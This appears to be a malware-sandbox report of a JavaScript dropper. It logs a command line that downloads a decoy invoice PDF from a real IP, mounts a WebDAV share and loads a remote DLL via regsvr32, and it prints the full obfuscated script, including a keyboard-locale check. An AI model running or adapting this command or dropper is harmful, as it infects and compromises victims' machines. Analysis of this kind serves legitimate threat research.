Show Windows behavior

Target ID:	2
Start time:	08:56:57
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Imagebase:	0x7ff6c3b20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:56:57
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:56:57
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:57:01
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:57:01
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c3b20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:57:01
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff699810000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:57:02
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:57:02
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:57:02
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1668,i,8900237095327274220,17911093714711884104,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tbgrfdr() {	tbgrfdr() ➔ undefined
1	this[pogkedf + nbeuqfzi + pzuyebrw + cbywdfm] ( "guwkocdhs=[1031,3079,5127,4103,2055,3072];var fkriesve=this[yhwymoz+pzuyebrw+rtrsgvxa+hrwvxlv+pogkedf+zmndts+nzdrext+fxjmd](this[ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd][rskcebr+rtrsgvxa+pogkedf+pzuyebrw+fxjmd+pogkedf+gsbumarn+igcyyenr+llhtazzj+pogkedf+ojfklz+fxjmd](ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd+qtpdjus+odxgsgkd+clsybidbh+pogkedf+cbywdfm+cbywdfm)[wsfbc+pogkedf+eydart+wsfbc+pogkedf+pzuyebrw+fsoqj](hybqtzrxg+yixolm+qfjxqbfj+hxhiwpng+uufrm+rskcebr+gurfrp+wsfbc+wsfbc+qfjxqbfj+mzayvmzp+kqysbcnnn+uufrm+gurfrp+odxgsgkd+qfjxqbfj+wsfbc+ilxlgxqu+rskcebr+vtanxa+nzdrext+fxjmd+rtrsgvxa+vtanxa+cbywdfm+piqtur+hzdfdc+pzuyebrw+nzdrext+pogkedf+cbywdfm+ilxlgxqu+zmndts+nzdrext+fxjmd+pogkedf+rtrsgvxa+nzdrext+pzuyebrw+fxjmd+qmrltqv+vtanxa+nzdrext+pzuyebrw+cbywdfm+ilxlgxqu+fdrcjuq+vtanxa+ojfklz+pzuyebrw+cbywdfm+pogkedf),16);for(kcvupd=0;kcvupd<guwkocdhs[cbywdfm+pogkedf+nzdrext+eydart+fxjmd+clsybidbh];++kcvupd){if(fkriesve==guwkocdhs[kcvupd]){fkriesve=true;break;}}if(fkriesve!==true)this[ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd][wffabq+exewira+qmrltqv+fxjmd]();this[ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd][rskcebr+rtrsgvxa+pogkedf+pzuyebrw+fxjmd+pogkedf+gsbumarn+igcyyenr+llhtazzj+pogkedf+ojfklz+fxjmd](ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd+qtpdjus+odxgsgkd+clsybidbh+pogkedf+cbywdfm+cbywdfm)[rtrsgvxa+exewira+nzdrext](ojfklz+dgigwwxj+fsoqj+piqtur+hhnicrcb+ojfklz+piqtur+yhwymoz+vtanxa+ickzep+pogkedf+rtrsgvxa+hrwvxlv+clsybidbh+pogkedf+cbywdfm+cbywdfm+qtpdjus+pogkedf+bpwsvbd+pogkedf+piqtur+ztkeihsw+rskcebr+vtanxa+dgigwwxj+dgigwwxj+pzuyebrw+nzdrext+fsoqj+piqtur+usidpzsw+zmndts+nzdrext+nbeuqfzi+vtanxa+inluofgkf+pogkedf+ztkeihsw+ksgyr+pogkedf+igcyyenr+wsfbc+pogkedf+clxho+exewira+pogkedf+hrwvxlv+fxjmd+piqtur+ztkeihsw+gsbumarn+exewira+fxjmd+vepyw+qmrltqv+cbywdfm+pogkedf+piqtur+atudrkdo+fxjmd+pogkedf+dgigwwxj+yhwymoz+atudrkdo+ilxlgxqu+qmrltqv+nzdrext+nbeuqfzi+vtanxa+qmrltqv+ojfklz+pogkedf+qtpdjus+yhwymoz+fsoqj+kukrxen+piqtur+clsybidbh+fxjmd+fxjmd+yhwymoz+ttrpi+hhnicrcb+hhnicrcb+xbwkcihl+ffjhykhqf+qdbwvfydz+qtpdjus+xbwkcihl+jpvsxcqd+qdbwvfydz+qtpdjus+xbwkcihl+qtpdjus+thhrbe+aqvgafw+kbpzvnqa+hhnicrcb+qmrltqv+nzdrext+nbeuqfzi+vtanxa+qmrltqv+ojfklz+pogkedf+qtpdjus+yhwymoz+clsybidbh+yhwymoz+usidpzsw+wpycasc+wpycasc+hrwvxlv+fxjmd+pzuyebrw+rtrsgvxa+fxjmd+piqtur+atudrkdo+fxjmd+pogkedf+dgigwwxj+yhwymoz+atudrkdo+ilxlgxqu+qmrltqv+nzdrext+nbeuqfzi+vtanxa+qmrltqv+ojfklz+pogkedf+qtpdjus+yhwymoz+fsoqj+kukrxen+wpycasc+wpycasc+ojfklz+dgigwwxj+fsoqj+piqtur+hhnicrcb+ojfklz+piqtur+nzdrext+pogkedf+fxjmd+piqtur+exewira+hrwvxlv+pogkedf+piqtur+ilxlgxqu+ilxlgxqu+xbwkcihl+ffjhykhqf+qdbwvfydz+qtpdjus+xbwkcihl+jpvsxcqd+qdbwvfydz+qtpdjus+xbwkcihl+qtpdjus+thhrbe+aqvgafw+kbpzvnqa+aaycdyte+glbunc+glbunc+glbunc+glbunc+ilxlgxqu+fsoqj+pzuyebrw+nbeuqfzi+ickzep+ickzep+ickzep+rtrsgvxa+vtanxa+vtanxa+fxjmd+ilxlgxqu+wpycasc+wpycasc+ojfklz+dgigwwxj+fsoqj+piqtur+hhnicrcb+ojfklz+piqtur+rtrsgvxa+pogkedf+eydart+hrwvxlv+nbeuqfzi+rtrsgvxa+qdbwvfydz+thhrbe+piqtur+hhnicrcb+hrwvxlv+piqtur+ilxlgxqu+ilxlgxqu+xbwkcihl+ffjhykhqf+qdbwvfydz+qtpdjus+xbwkcihl+jpvsxcqd+qdbwvfydz+qtpdjus+xbwkcihl+qtpdjus+thhrbe+aqvgafw+kbpzvnqa+aaycdyte+glbunc+glbunc+glbunc+glbunc+ilxlgxqu+fsoqj+pzuyebrw+nbeuqfzi+ickzep+ickzep+ickzep+rtrsgvxa+vtanxa+vtanxa+fxjmd+ilxlgxqu+thhrbe+glbunc+aqvgafw+ffjhykhqf+glbunc+ffjhykhqf+kbpzvnqa+jyysf+kbpzvnqa+thhrbe+kbpzvnqa+ffjhykhqf+ibtfecih+glbunc+qtpdjus+fsoqj+cbywdfm+cbywdfm,0,false);" );	eval("guwkocdhs=[1031,3079,5127,4103,2055,3072];var fkriesve=this[yhwymoz+pzuyebrw+rtrsgvxa+hrwvxlv+pogkedf+zmndts+nzdrext+fxjmd](this[ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd][rskcebr+rtrsgvxa+pogkedf+pzuyebrw+fxjmd+pogkedf+gsbumarn+igcyyenr+llhtazzj+pogkedf+ojfklz+fxjmd](ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd+qtpdjus+odxgsgkd+clsybidbh+pogkedf+cbywdfm+cbywdfm)[wsfbc+pogkedf+eydart+wsfbc+pogkedf+pzuyebrw+fsoqj](hybqtzrxg+yixolm+qfjxqbfj+hxhiwpng+uufrm+rskcebr+gurfrp+wsfbc+wsfbc+qfjxqbfj+mzayvmzp+kqysbcnnn+uufrm+gurfrp+odxgsgkd+qfjxqbfj+wsfbc+ilxlgxqu+rskcebr+vtanxa+nzdrext+fxjmd+rtrsgvxa+vtanxa+cbywdfm+piqtur+hzdfdc+pzuyebrw+nzdrext+pogkedf+cbywdfm+ilxlgxqu+zmndts+nzdrext+fxjmd+pogkedf+rtrsgvxa+nzdrext+pzuyebrw+fxjmd+qmrltqv+vtanxa+nzdrext+pzuyebrw+cbywdfm+ilxlgxqu+fdrcjuq+vtanxa+ojfklz+pzuyebrw+cbywdfm+pogkedf),16);for(kcvupd=0;kcvupd<guwkocdhs[cbywdfm+pogkedf+nzdrext+eydart+fxjmd+clsybidbh];++kcvupd){if(fkriesve==guwkocdhs[kcvupd]){fkriesve=true;break;}}if(fkriesve!==true)this[ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd][wffabq+exewira+qmrltqv+fxjmd]();this[ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd][rskcebr+rtrsgvxa+pogkedf+pzuyebrw+fxjmd+pogkedf+gsbumarn+igcyyenr+llhtazzj+pogkedf+ojfklz+fxjmd](ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd+qtpdjus+odxgsgkd+clsybidbh+pogkedf+cbywdfm+cbywdfm)[rtrsgvxa+exewira+nzdrext](ojfklz+dgigwwxj+fsoqj+piqtur+hhnicrcb+ojfklz+piqtur+yhwymoz+vtanxa+ickzep+pogkedf+rtrsgvxa+hrwvxlv+clsybidbh+pogkedf+cbywdfm+cbywdfm+qtpdjus+pogkedf+bpwsvbd+pogkedf+piqtur+ztkeihsw+rskcebr+vtanxa+dgigwwxj+dgigwwxj+pzuyebrw+nzdrext+fsoqj+piqtur+usidpzsw+zmndts+nzdrext+nbeuqfzi+vtanxa+inluofgkf+pogkedf+ztkeihsw+ksgyr+pogkedf+igcyyenr+wsfbc+pogkedf+clxho+exewira+pogkedf+hrwvxlv+fxjmd+piqtur+ztkeihsw+gsbumarn+exewira+fxjmd+vepyw+qmrltqv+cbywdfm+pogkedf+piqtur+atudrkdo+fxjmd+pogkedf+dgigwwxj+yhwymoz+atudrkdo+ilxlgxqu+qmrltqv+nzdrext+nbeuqfzi+vtanxa+qmrltqv+ojfklz+pogkedf+qtpdjus+yhwymoz+fsoqj+kukrxen+piqtur+clsybidbh+fxjmd+fxjmd+yhwymoz+ttrpi+hhnicrcb+hhnicrcb+xbwkcihl+ffjhykhqf+qdbwvfydz+qtpdjus+xbwkcihl+jpvsxcqd+qdbwvfydz+qtpdjus+xbwkcihl+qtpdjus+thhrbe+aqvgafw+kbpzvnqa+hhnicrcb+qmrltqv+nzdrext+nbeuqfzi+vtanxa+qmrltqv+ojfklz+pogkedf+qtpdjus+yhwymoz+clsybidbh+yhwymoz+usidpzsw+wpycasc+wpycasc+hrwvxlv+fxjmd+pzuyebrw+rtrsgvxa+fxjmd+piqtur+atudrkdo+fxjmd+pogkedf+dgigwwxj+yhwymoz+atudrkdo+ilxlgxqu+qmrltqv+nzdrext+nbeuqfzi+vtanxa+qmrltqv+ojfklz+pogkedf+qtpdjus+yhwymoz+fsoqj+kukrxen+wpycasc+wpycasc+ojfklz+dgigwwxj+fsoqj+piqtur+hhnicrcb+ojfklz+piqtur+nzdrext+pogkedf+fxjmd+piqtur+exewira+hrwvxlv+pogkedf+piqtur+ilxlgxqu+ilxlgxqu+xbwkcihl+ffjhykhqf+qdbwvfydz+qtpdjus+xbwkcihl+jpvsxcqd+qdbwvfydz+qtpdjus+xbwkcihl+qtpdjus+thhrbe+aqvgafw+kbpzvnqa+aaycdyte+glbunc+glbunc+glbunc+glbunc+ilxlgxqu+fsoqj+pzuyebrw+nbeuqfzi+ickzep+ickzep+ickzep+rtrsgvxa+vtanxa+vtanxa+fxjmd+ilxlgxqu+wpycasc+wpycasc+ojfklz+dgigwwxj+fsoqj+piqtur+hhnicrcb+ojfklz+piqtur+rtrsgvxa+pogkedf+eydart+hrwvxlv+nbeuqfzi+rtrsgvxa+qdbwvfydz+thhrbe+piqtur+hhnicrcb+hrwvxlv+piqtur+ilxlgxqu+ilxlgxqu+xbwkcihl+ffjhykhqf+qdbwvfydz+qtpdjus+xbwkcihl+jpvsxcqd+qdbwvfydz+qtpdjus+xbwkcihl+qtpdjus+thhrbe+aqvgafw+kbpzvnqa+aaycdyte+glbunc+glbunc+glbunc+glbunc+ilxlgxqu+fsoqj+pzuyebrw+nbeuqfzi+ickzep+ickzep+ickzep+rtrsgvxa+vtanxa+vtanxa+fxjmd+ilxlgxqu+thhrbe+glbunc+aqvgafw+ffjhykhqf+glbunc+ffjhykhqf+kbpzvnqa+jyysf+kbpzvnqa+thhrbe+kbpzvnqa+ffjhykhqf+ibtfecih+glbunc+qtpdjus+fsoqj+cbywdfm+cbywdfm,0,false);") ➔ 0
2	}
3	ilxlgxqu = "H";
4	ilxlgxqu = "P";
5	ilxlgxqu = "w";
6	ilxlgxqu = "U";
7	ilxlgxqu = "z";
8	ilxlgxqu = "a";
9	ilxlgxqu = "\\";
10	qmrltqv = "D";
11	qmrltqv = "r";
12	qmrltqv = "V";
13	qmrltqv = "Y";
14	qmrltqv = "Z";
15	qmrltqv = "d";
16	qmrltqv = "A";
17	qmrltqv = "B";
18	qmrltqv = "i";
19	igcyyenr = "h";
20	igcyyenr = "w";
21	igcyyenr = "W";
22	igcyyenr = "r";
23	igcyyenr = "t";
24	igcyyenr = "v";
25	igcyyenr = "s";
26	igcyyenr = "b";
27	thhrbe = "C";
28	thhrbe = "i";
29	thhrbe = "a";
30	thhrbe = "v";
31	thhrbe = "h";
32	thhrbe = "2";
33	qtpdjus = "P";
34	qtpdjus = "y";
35	qtpdjus = "m";
36	qtpdjus = "U";
37	qtpdjus = "A";
38	qtpdjus = "R";
39	qtpdjus = ".";
40	ibtfecih = "g";
41	ibtfecih = "L";
42	ibtfecih = "Y";
43	ibtfecih = "i";
44	ibtfecih = "k";
45	ibtfecih = "N";
46	ibtfecih = "c";
47	ibtfecih = "I";
48	ibtfecih = "J";
49	ibtfecih = "7";
50	clsybidbh = "q";
51	clsybidbh = "b";
52	clsybidbh = "H";
53	clsybidbh = "s";
54	clsybidbh = "D";
55	clsybidbh = "h";
56	piqtur = "c";
57	piqtur = "X";
58	piqtur = "y";
59	piqtur = "M";
60	piqtur = "z";
61	piqtur = "o";
62	piqtur = " ";
63	qdbwvfydz = "s";
64	qdbwvfydz = "s";
65	qdbwvfydz = "Q";
66	qdbwvfydz = "N";
67	qdbwvfydz = "a";
68	qdbwvfydz = "J";
69	qdbwvfydz = "O";
70	qdbwvfydz = "3";
71	eydart = "f";
72	eydart = "y";
73	eydart = "I";
74	eydart = "j";
75	eydart = "W";
76	eydart = "i";
77	eydart = "B";
78	eydart = "g";
79	eydart = "E";
80	eydart = "g";
81	rtrsgvxa = "T";
82	rtrsgvxa = "X";
83	rtrsgvxa = "S";
84	rtrsgvxa = "e";
85	rtrsgvxa = "k";
86	rtrsgvxa = "h";
87	rtrsgvxa = "V";
88	rtrsgvxa = "r";
89	kbpzvnqa = "D";
90	kbpzvnqa = "O";
91	kbpzvnqa = "U";
92	kbpzvnqa = "Z";
93	kbpzvnqa = "C";
94	kbpzvnqa = "c";
95	kbpzvnqa = "5";
96	hybqtzrxg = "n";
97	hybqtzrxg = "E";
98	hybqtzrxg = "M";
99	hybqtzrxg = "C";
100	hybqtzrxg = "q";
101	hybqtzrxg = "H";
102	odxgsgkd = "h";
103	odxgsgkd = "n";
104	odxgsgkd = "R";
105	odxgsgkd = "c";
106	odxgsgkd = "C";
107	odxgsgkd = "B";
108	odxgsgkd = "H";
109	odxgsgkd = "e";
110	odxgsgkd = "U";
111	odxgsgkd = "S";
112	inluofgkf = "R";
113	inluofgkf = "x";
114	inluofgkf = "C";
115	inluofgkf = "h";
116	inluofgkf = "p";
117	inluofgkf = "a";
118	inluofgkf = "C";
119	inluofgkf = "b";
120	inluofgkf = "M";
121	inluofgkf = "k";
122	hhnicrcb = "x";
123	hhnicrcb = "A";
124	hhnicrcb = "d";
125	hhnicrcb = "b";
126	hhnicrcb = "a";
127	hhnicrcb = "L";
128	hhnicrcb = "k";
129	hhnicrcb = "U";
130	hhnicrcb = "/";
131	pogkedf = "o";
132	pogkedf = "g";
133	pogkedf = "P";
134	pogkedf = "X";
135	pogkedf = "q";
136	pogkedf = "e";
137	vtanxa = "A";
138	vtanxa = "o";
139	vtanxa = "S";
140	vtanxa = "E";
141	vtanxa = "Y";
142	vtanxa = "v";
143	vtanxa = "V";
144	vtanxa = "x";
145	vtanxa = "o";
146	gsbumarn = "m";
147	gsbumarn = "E";
148	gsbumarn = "f";
149	gsbumarn = "q";
150	gsbumarn = "i";
151	gsbumarn = "F";
152	gsbumarn = "O";
153	nbeuqfzi = "b";
154	nbeuqfzi = "M";
155	nbeuqfzi = "e";
156	nbeuqfzi = "m";
157	nbeuqfzi = "M";
158	nbeuqfzi = "B";
159	nbeuqfzi = "S";
160	nbeuqfzi = "v";
161	hzdfdc = "X";
162	hzdfdc = "k";
163	hzdfdc = "D";
164	hzdfdc = "p";
165	hzdfdc = "H";
166	hzdfdc = "A";
167	hzdfdc = "u";
168	hzdfdc = "w";
169	hzdfdc = "S";
170	hzdfdc = "P";
171	ksgyr = "I";
172	ksgyr = "b";
173	ksgyr = "l";
174	ksgyr = "Q";
175	ksgyr = "L";
176	ksgyr = "z";
177	ksgyr = "Y";
178	ksgyr = "p";
179	ksgyr = "j";
180	ksgyr = "W";
181	gurfrp = "m";
182	gurfrp = "g";
183	gurfrp = "u";
184	gurfrp = "j";
185	gurfrp = "R";
186	gurfrp = "Q";
187	gurfrp = "U";
188	kqysbcnnn = "B";
189	kqysbcnnn = "t";
190	kqysbcnnn = "y";
191	kqysbcnnn = "F";
192	kqysbcnnn = "h";
193	kqysbcnnn = "i";
194	kqysbcnnn = "M";
195	kqysbcnnn = "K";
196	kqysbcnnn = "U";
197	kqysbcnnn = "T";
198	vepyw = "P";
199	vepyw = "F";
200	vepyw = "d";
201	vepyw = "q";
202	vepyw = "S";
203	vepyw = "W";
204	vepyw = "Z";
205	vepyw = "I";
206	vepyw = "s";
207	vepyw = "F";
208	fdrcjuq = "K";
209	fdrcjuq = "a";
210	fdrcjuq = "D";
211	fdrcjuq = "u";
212	fdrcjuq = "E";
213	fdrcjuq = "N";
214	fdrcjuq = "d";
215	fdrcjuq = "I";
216	fdrcjuq = "V";
217	fdrcjuq = "L";
218	pzuyebrw = "U";
219	pzuyebrw = "o";
220	pzuyebrw = "T";
221	pzuyebrw = "w";
222	pzuyebrw = "h";
223	pzuyebrw = "n";
224	pzuyebrw = "Y";
225	pzuyebrw = "a";
226	llhtazzj = "P";
227	llhtazzj = "v";
228	llhtazzj = "T";
229	llhtazzj = "i";
230	llhtazzj = "h";
231	llhtazzj = "f";
232	llhtazzj = "j";
233	llhtazzj = "U";
234	llhtazzj = "j";
235	qfjxqbfj = "N";
236	qfjxqbfj = "o";
237	qfjxqbfj = "B";
238	qfjxqbfj = "V";
239	qfjxqbfj = "n";
240	qfjxqbfj = "M";
241	qfjxqbfj = "A";
242	qfjxqbfj = "E";
243	usidpzsw = "r";
244	usidpzsw = "q";
245	usidpzsw = "E";
246	usidpzsw = "b";
247	usidpzsw = "o";
248	usidpzsw = "Q";
249	usidpzsw = "s";
250	usidpzsw = "\"";
251	wsfbc = "H";
252	wsfbc = "c";
253	wsfbc = "H";
254	wsfbc = "a";
255	wsfbc = "u";
256	wsfbc = "R";
257	dgigwwxj = "T";
258	dgigwwxj = "d";
259	dgigwwxj = "o";
260	dgigwwxj = "u";
261	dgigwwxj = "g";
262	dgigwwxj = "b";
263	dgigwwxj = "A";
264	dgigwwxj = "m";
265	zmndts = "u";
266	zmndts = "X";
267	zmndts = "w";
268	zmndts = "W";
269	zmndts = "S";
270	zmndts = "b";
271	zmndts = "G";
272	zmndts = "x";
273	zmndts = "I";
274	uufrm = "E";
275	uufrm = "J";
276	uufrm = "O";
277	uufrm = "v";
278	uufrm = "b";
279	uufrm = "I";
280	uufrm = "_";
281	fxjmd = "d";
282	fxjmd = "t";
283	fxjmd = "B";
284	fxjmd = "k";
285	fxjmd = "i";
286	fxjmd = "t";
287	hrwvxlv = "p";
288	hrwvxlv = "p";
289	hrwvxlv = "N";
290	hrwvxlv = "Y";
291	hrwvxlv = "u";
292	hrwvxlv = "s";
293	atudrkdo = "q";
294	atudrkdo = "x";
295	atudrkdo = "L";
296	atudrkdo = "l";
297	atudrkdo = "i";
298	atudrkdo = "P";
299	atudrkdo = "y";
300	atudrkdo = "%";
301	ttrpi = "u";
302	ttrpi = "m";
303	ttrpi = "B";
304	ttrpi = "d";
305	ttrpi = "r";
306	ttrpi = ":";
307	ztkeihsw = "h";
308	ztkeihsw = "n";
309	ztkeihsw = "n";
310	ztkeihsw = "Q";
311	ztkeihsw = "t";
312	ztkeihsw = "l";
313	ztkeihsw = "Y";
314	ztkeihsw = "-";
315	yhwymoz = "q";
316	yhwymoz = "i";
317	yhwymoz = "h";
318	yhwymoz = "g";
319	yhwymoz = "g";
320	yhwymoz = "t";
321	yhwymoz = "p";
322	cbywdfm = "f";
323	cbywdfm = "L";
324	cbywdfm = "T";
325	cbywdfm = "d";
326	cbywdfm = "X";
327	cbywdfm = "h";
328	cbywdfm = "C";
329	cbywdfm = "k";
330	cbywdfm = "l";
331	nzdrext = "K";
332	nzdrext = "e";
333	nzdrext = "A";
334	nzdrext = "D";
335	nzdrext = "q";
336	nzdrext = "g";
337	nzdrext = "O";
338	nzdrext = "r";
339	nzdrext = "n";
340	jyysf = "J";
341	jyysf = "N";
342	jyysf = "o";
343	jyysf = "u";
344	jyysf = "L";
345	jyysf = "6";
346	mzayvmzp = "L";
347	mzayvmzp = "F";
348	mzayvmzp = "N";
349	mzayvmzp = "A";
350	mzayvmzp = "w";
351	mzayvmzp = "v";
352	mzayvmzp = "B";
353	mzayvmzp = "N";
354	xbwkcihl = "e";
355	xbwkcihl = "s";
356	xbwkcihl = "A";
357	xbwkcihl = "B";
358	xbwkcihl = "J";
359	xbwkcihl = "V";
360	xbwkcihl = "u";
361	xbwkcihl = "1";
362	aqvgafw = "e";
363	aqvgafw = "y";
364	aqvgafw = "Q";
365	aqvgafw = "o";
366	aqvgafw = "q";
367	aqvgafw = "m";
368	aqvgafw = "w";
369	aqvgafw = "0";
370	jpvsxcqd = "E";
371	jpvsxcqd = "k";
372	jpvsxcqd = "L";
373	jpvsxcqd = "V";
374	jpvsxcqd = "r";
375	jpvsxcqd = "i";
376	jpvsxcqd = "d";
377	jpvsxcqd = "V";
378	jpvsxcqd = "W";
379	jpvsxcqd = "4";
380	wpycasc = "s";
381	wpycasc = "g";
382	wpycasc = "R";
383	wpycasc = "o";
384	wpycasc = "T";
385	wpycasc = "t";
386	wpycasc = "w";
387	wpycasc = "P";
388	wpycasc = "i";
389	wpycasc = "&";
390	ickzep = "k";
391	ickzep = "q";
392	ickzep = "A";
393	ickzep = "W";
394	ickzep = "u";
395	ickzep = "p";
396	ickzep = "S";
397	ickzep = "w";
398	hxhiwpng = "v";
399	hxhiwpng = "K";
400	hxhiwpng = "v";
401	hxhiwpng = "u";
402	hxhiwpng = "m";
403	hxhiwpng = "p";
404	hxhiwpng = "v";
405	hxhiwpng = "Y";
406	exewira = "C";
407	exewira = "f";
408	exewira = "G";
409	exewira = "D";
410	exewira = "S";
411	exewira = "h";
412	exewira = "k";
413	exewira = "M";
414	exewira = "u";
415	clxho = "k";
416	clxho = "D";
417	clxho = "t";
418	clxho = "G";
419	clxho = "b";
420	clxho = "B";
421	clxho = "W";
422	clxho = "k";
423	clxho = "B";
424	clxho = "q";
425	rskcebr = "E";
426	rskcebr = "E";
427	rskcebr = "i";
428	rskcebr = "Y";
429	rskcebr = "X";
430	rskcebr = "C";
431	ojfklz = "k";
432	ojfklz = "i";
433	ojfklz = "u";
434	ojfklz = "k";
435	ojfklz = "v";
436	ojfklz = "l";
437	ojfklz = "V";
438	ojfklz = "v";
439	ojfklz = "c";
440	bpwsvbd = "G";
441	bpwsvbd = "t";
442	bpwsvbd = "k";
443	bpwsvbd = "S";
444	bpwsvbd = "Y";
445	bpwsvbd = "J";
446	bpwsvbd = "t";
447	bpwsvbd = "x";
448	aaycdyte = "b";
449	aaycdyte = "i";
450	aaycdyte = "K";
451	aaycdyte = "f";
452	aaycdyte = "C";
453	aaycdyte = "T";
454	aaycdyte = "@";
455	ffjhykhqf = "z";
456	ffjhykhqf = "E";
457	ffjhykhqf = "S";
458	ffjhykhqf = "Y";
459	ffjhykhqf = "P";
460	ffjhykhqf = "G";
461	ffjhykhqf = "E";
462	ffjhykhqf = "9";
463	wffabq = "M";
464	wffabq = "n";
465	wffabq = "L";
466	wffabq = "W";
467	wffabq = "j";
468	wffabq = "Z";
469	wffabq = "v";
470	wffabq = "Q";
471	yixolm = "r";
472	yixolm = "o";
473	yixolm = "d";
474	yixolm = "z";
475	yixolm = "B";
476	yixolm = "l";
477	yixolm = "q";
478	yixolm = "e";
479	yixolm = "x";
480	yixolm = "K";
481	kukrxen = "O";
482	kukrxen = "z";
483	kukrxen = "V";
484	kukrxen = "Z";
485	kukrxen = "A";
486	kukrxen = "f";
487	fsoqj = "V";
488	fsoqj = "k";
489	fsoqj = "l";
490	fsoqj = "S";
491	fsoqj = "y";
492	fsoqj = "U";
493	fsoqj = "c";
494	fsoqj = "P";
495	fsoqj = "h";
496	fsoqj = "d";
497	glbunc = "Z";
